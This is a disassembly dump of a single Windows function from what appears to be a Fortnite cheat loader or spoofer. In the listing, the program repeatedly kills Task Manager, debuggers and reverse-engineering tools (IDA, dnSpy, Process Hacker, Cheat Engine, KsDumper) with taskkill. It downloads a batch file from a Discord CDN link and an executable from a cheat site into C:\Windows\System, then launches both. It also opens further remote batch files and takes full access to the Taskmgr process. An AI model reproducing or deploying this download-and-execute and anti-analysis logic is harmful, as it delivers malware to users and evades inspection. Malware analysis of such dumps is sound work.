Function at 0x140086090
Capabilities:
Create process on windows
Delete file
Download url
Receive data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x9b8]
sub rsp, 0xa90
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
mov rax, qword [0x1403b75a0]
xor rax, rsp
mov qword [rbp + 0x940], rax
mov rsi, rcx
mov edi, 4
mov rax, qword gs:[0x58]
mov rbx, qword [rax]
mov eax, dword [rdi + rbx]
cmp dword [0x1403ecdb8], eax
jle 0x140086125
lea rcx, [0x1403ecdb8]
call fcn.14027f420
cmp dword [0x1403ecdb8], 0xffffffff
jne 0x140086125
call fcn.140085930
mov qword [0x1403ed2a0], rax
lea rcx, [0x1403ecdb8]
call fcn.14027f3c0
mov eax, dword [rdi + rbx]
cmp dword [0x1403ece00], eax
jle 0x14008615f
lea rcx, [0x1403ece00]
call fcn.14027f420
cmp dword [0x1403ece00], 0xffffffff
jne 0x14008615f
movaps xmm0, xmmword [0x140384ce0]
movups xmmword [0x1403ecda8], xmm0
lea rcx, [0x1403ece00]
call fcn.14027f3c0
mov eax, dword [rdi + rbx]
cmp dword [0x1403ecec8], eax
jle 0x140086199
lea rcx, [0x1403ecec8]
call fcn.14027f420
cmp dword [0x1403ecec8], 0xffffffff
jne 0x140086199
movaps xmm0, xmmword [0x140384c80]
movups xmmword [0x1403ece70], xmm0
lea rcx, [0x1403ecec8]
call fcn.14027f3c0
mov rax, qword [0x1403ecc28]
or dword [rax + 0x1dc0], 2
mov dword [rax + 0x1de4], 0x43c80000
mov dword [rax + 0x1de8], 0x43480000
mov dword [rax + 0x1dc8], 1
mov r8d, 3
lea rdx, reloc.WS2_32.dll_accept
lea rcx, str.NXT_G3N_SOFTWARE
call fcn.1400af1f0
xor r13d, r13d
movss xmm9, dword [0x1403849e0]
test al, al
je 0x1400862bd
mov rax, qword [0x1403ed2a0]
mov dword [rax], 1
lea rcx, [rbp - 0x40]
call fcn.1400b3520
movss xmm0, dword [rax]
movss dword [rbp - 0x60], xmm0
mov dword [rbp - 0x5c], 0x42200000
mov rcx, qword [0x1403ecc28]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
xor r8d, r8d
lea rdx, str.TopBar
mov rcx, qword [rcx + 0x1d18]
call fcn.1400a6ae0
mov edx, eax
mov dword [rsp + 0x20], r13d
mov r9b, 1
lea r8, [rbp - 0x60]
lea rcx, str.TopBar
call fcn.1400ac030
lea rcx, [rbp - 0x40]
call fcn.1400b3520
movss xmm0, dword [rax]
mulss xmm0, dword [0x1403848f4]
subss xmm0, xmm9
call fcn.1400b3340
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp]
call fcn.140078e40
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
lea rdx, str.NXT_G3N_SOFTWARE
lea rcx, [rbp - 0x40]
call fcn.1400d9850
call fcn.1400ac390
lea ecx, [r13 + 1]
call fcn.140085ad0
call fcn.140085cc0
xor edx, edx
lea ecx, [rdx + 3]
call fcn.1400a51f0
mov ecx, 1
call fcn.1400a5320
mov rcx, qword [0x1403ed2a0]
mov edx, dword [rcx]
sub edx, 1
je 0x140086ca3
sub edx, 1
je 0x140086a3c
cmp edx, 1
jne 0x14008d950
movss xmm9, dword [0x1403848ec]
movss dword [rsp + 0x20], xmm9
movss xmm8, dword [0x1403848e4]
movaps xmm3, xmm8
movss xmm7, dword [0x1403848d8]
movaps xmm2, xmm7
movss xmm6, dword [0x1403848d0]
movaps xmm1, xmm6
lea rcx, [rbp - 0x40]
call fcn.140078e20
mov rdx, rax
mov ecx, reloc.WS2_32.dll_socket
call fcn.1400a52c0
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm8
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp - 0x60]
call fcn.140078e20
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.1400a52c0
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm8
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0xa0]
call fcn.140078e20
mov rdx, rax
mov ecx, reloc.WS2_32.dll_shutdown
call fcn.1400a52c0
mov r8b, 1
mov edx, 3
lea rcx, str._PRIVATE_FORTNITE_TOOL
call fcn.140085d00
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm8
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0xc0]
call fcn.140078e20
mov rdx, rax
mov ecx, reloc.WS2_32.dll_socket
call fcn.1400a52c0
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm8
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0x20]
call fcn.140078e20
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.1400a52c0
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm8
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp - 0x20]
call fcn.140078e20
mov rdx, rax
mov ecx, reloc.WS2_32.dll_shutdown
call fcn.1400a52c0
call fcn.1400db860
call fcn.1400db860
mov r8b, 1
mov edx, 3
lea rcx, str.CHEATS
call fcn.140085d00
call fcn.1400db860
movss xmm2, dword [0x1403849c4]
movss xmm1, dword [0x140384a2c]
lea rcx, [rbp]
call fcn.140078e00
lea rdx, [rbp]
lea rcx, str.LOAD_CHEAT
call fcn.1400da5b0
test al, al
je 0x140086a21
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1139053637033803787_1147560253286781038_BSODTASKPROSSES.bat
lea rcx, [rbp + 0xa0]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemBSODTASKPROSSES.bat
lea rcx, [rbp + 0xc0]
call fcn.140077890
nop
lea rcx, [rbp + 0xc0]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0xa0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_FORTNITE_FORTNITE.exe
lea rcx, [rbp + 0x20]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemFORTNITE.exe
lea rcx, [rbp - 0x20]
call fcn.140077890
lea rcx, [rbp - 0x20]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x20]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemFORTNITE.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp - 0x20]
call fcn.1400777a0
nop
lea rcx, [rbp + 0x20]
call fcn.1400777a0
nop
lea rcx, [rbp + 0xc0]
call fcn.1400777a0
nop
lea rcx, [rbp + 0xa0]
call fcn.1400777a0
call fcn.1400db860
call fcn.1400db860
lea rcx, str.____________STATUS:UNDETECTED
call fcn.1400d97d0
jmp 0x14008d950
mov r8b, 1
mov edx, 0x61
lea rcx, str.____ADVACNED_MULTI_SPOOFER_V2
call fcn.140085d00
call fcn.1400db860
lea rcx, str.__UPGRADE_TO_BUNDLE_LOADER
call fcn.1400d97d0
call fcn.1400db860
call fcn.1400db860
mov r8b, 1
mov edx, ntohs
lea rcx, str.___DOMAIN_ISSUE_FIX
call fcn.140085d00
call fcn.1400db860
movss xmm2, dword [0x1403849c4]
movss xmm1, dword [0x140384a28]
lea rcx, [rbp]
call fcn.140078e00
lea rdx, [rbp]
lea rcx, str.PRESS_ME_TO_FIX_DOMAIN
call fcn.1400da5b0
test al, al
je 0x14008d950
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_DOMAINFIXER.bat
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_DOMAINFIXER.bat
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO__DOMAINFIXER.bat
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x14008d950
cmp byte [0x1403ecbb8], r13b
je 0x140086cb8
mov dword [rsi + 0x20c], 1
jmp 0x140086d31
cmp dword [rsi + 0x20c], 8
jne 0x140086d31
mov byte [rsi + 0x213], 1
mov rcx, rsi
call fcn.14008d9a0
cmp byte [rsi + 0x213], r13b
jne 0x140086d31
movzx eax, byte [rsi + 0x214]
test al, al
jne 0x140086d00
cmp byte [rsi + 0x215], r13b
jne 0x140086d09
mov byte [rsi + 0x211], r13b
mov dword [rsi + 0x20c], 5
jmp 0x140086d31
cmp byte [rsi + 0x215], r13b
je 0x140086d1c
mov byte [rsi + 0x215], r13b
mov dword [rsi + 0x20c], 7
jmp 0x140086d31
test al, al
je 0x140086d31
mov byte [rsi + 0x214], r13b
mov dword [rsi + 0x20c], 6
mov eax, dword [rsi + 0x20c]
movss xmm7, dword [0x140384a70]
cmp eax, 5
jne 0x140086d94
mov rcx, rsi
call fcn.14008e100
test al, al
jne 0x14008700a
mov rcx, qword [rsi + 0x238]
call fcn.1400b2560
lea rdx, [rsi + 0x40]
cmp qword [rdx + 0x18], 0x10
jb 0x140086d6e
mov rdx, qword [rdx]
movups xmm0, xmmword [0x1403e33f8]
movdqa xmmword [rbp - 0x40], xmm0
lea r9, [rbp - 0x40]
mov r8b, 1
mov rcx, rsi
call fcn.14008df10
call fcn.1400b2600
mov eax, dword [rsi + 0x20c]
cmp eax, 7
jne 0x140087122
mov rcx, rsi
call fcn.14008e5d0
call fcn.1400db810
call fcn.1400db810
movss xmm0, dword [0x140384a40]
movss dword [rbp - 0x60], xmm0
movss xmm1, dword [0x140384a34]
movss dword [rbp - 0x5c], xmm1
xor r8d, r8d
lea rdx, [rbp - 0x60]
mov rcx, qword [0x1403ecc28]
mov rcx, qword [rcx + 0x1d18]
call fcn.1400b27c0
movss xmm0, dword [0x140384a00]
movss dword [rbp - 0x60], xmm0
movss xmm1, dword [0x1403849d8]
movss dword [rbp - 0x5c], xmm1
lea rcx, [rbp - 0x60]
call fcn.1400b3270
movups xmm6, xmmword [0x1403e33f8]
movdqa xmm0, xmmword [0x140384e30]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140384e20]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x140384d90]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140384dc0]
movdqa xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x70], 0x100
lea rcx, [rsp + 0x50]
call fcn.140077be0
movaps xmmword [rbp - 0x40], xmm6
lea r9, [rbp - 0x40]
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.14008df10
call fcn.1400db810
call fcn.1400db810
movaps xmm1, xmm7
movss xmm0, dword [0x140384a14]
call fcn.1400b3110
movdqa xmm0, xmmword [0x140384d80]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x100
lea rcx, [rbp - 0x20]
call fcn.14008e840
mov dword [rbp - 0x60], 0x42a00000
movss xmm0, dword [0x140384a04]
movss dword [rbp - 0x5c], xmm0
lea rcx, [rbp - 0x60]
call fcn.1400b3270
mov edx, r13d
lea rcx, str.Vanguard
nop dword [rax]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r13b
jne 0x140086ed7
inc rcx
add rcx, rax
inc edx
cmp byte [rcx], r13b
jne 0x140086ed0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], edx
lea r9, str.Vanguard
lea r8, [fcn.1400dd010]
lea rdx, [0x1403ecb8c]
lea rcx, str.freecombo
call fcn.1400dd060
mov dword [rbp - 0x60], 0x43200000
movss xmm0, dword [0x140384a20]
movss dword [rbp - 0x5c], xmm0
lea rcx, [rbp - 0x60]
call fcn.1400b3270
mov dword [rbp], 0xbf800000
movss xmm0, dword [0x1403849c0]
movss dword [rbp + 4], xmm0
mov dword [rbp - 0x60], 0xcec0c7e1
mov dword [rbp - 0x5c], 0x100d9cf
lea rcx, [rbp - 0x60]
call fcn.140077480
xor r8d, r8d
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.1400da210
test al, al
je 0x140087122
cmp dword [0x1403ecb8c], r13d
jne 0x140087122
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x20]
call fcn.140095ec0
nop
lea rdx, [0x1403ece88]
lea rcx, [rbp + 0x60]
call fcn.1400778d0
mov r8, rax
lea rdx, [rbp - 0x20]
lea rcx, [0x1403ed0c0]
call fcn.1400833b0
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14008f950
lea rcx, [rbp - 0x20]
call fcn.14008f8f0
lea rcx, [rbp + 0x20]
call fcn.14008f8e0
test al, al
je 0x140087019
lea rdx, str.Failed_to_download
mov rcx, rsi
call fcn.140077c10
mov dword [rsi + 0x20c], 0xffffffff
lea rcx, [rbp + 0x20]
call fcn.14008f8f0
jmp 0x14008d955
mov dword [rsi + 0x20c], 3
jmp 0x140087122
cmp byte [0x1403ecbb8], 0
jne 0x140087119
lea rdx, str.Taskmgr.exe
mov rcx, rsi
call fcn.14008e680
mov ebx, eax
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test ebx, ebx
je 0x140087119
lea rcx, [rbp + 0x20]
call fcn.14008f8d0
mov rbx, rax
xor edx, edx
lea rcx, [rbp + 0x20]
call fcn.14008f8c0
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.1400a03f0
lea rdx, [rbp + 0x60]
test al, al
jne 0x1400870da
movdqa xmm0, xmmword [0x140384dd0]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x100
lea rcx, [rbp - 0x20]
call fcn.14008e870
mov rdx, rax
mov rcx, rsi
call fcn.140077800
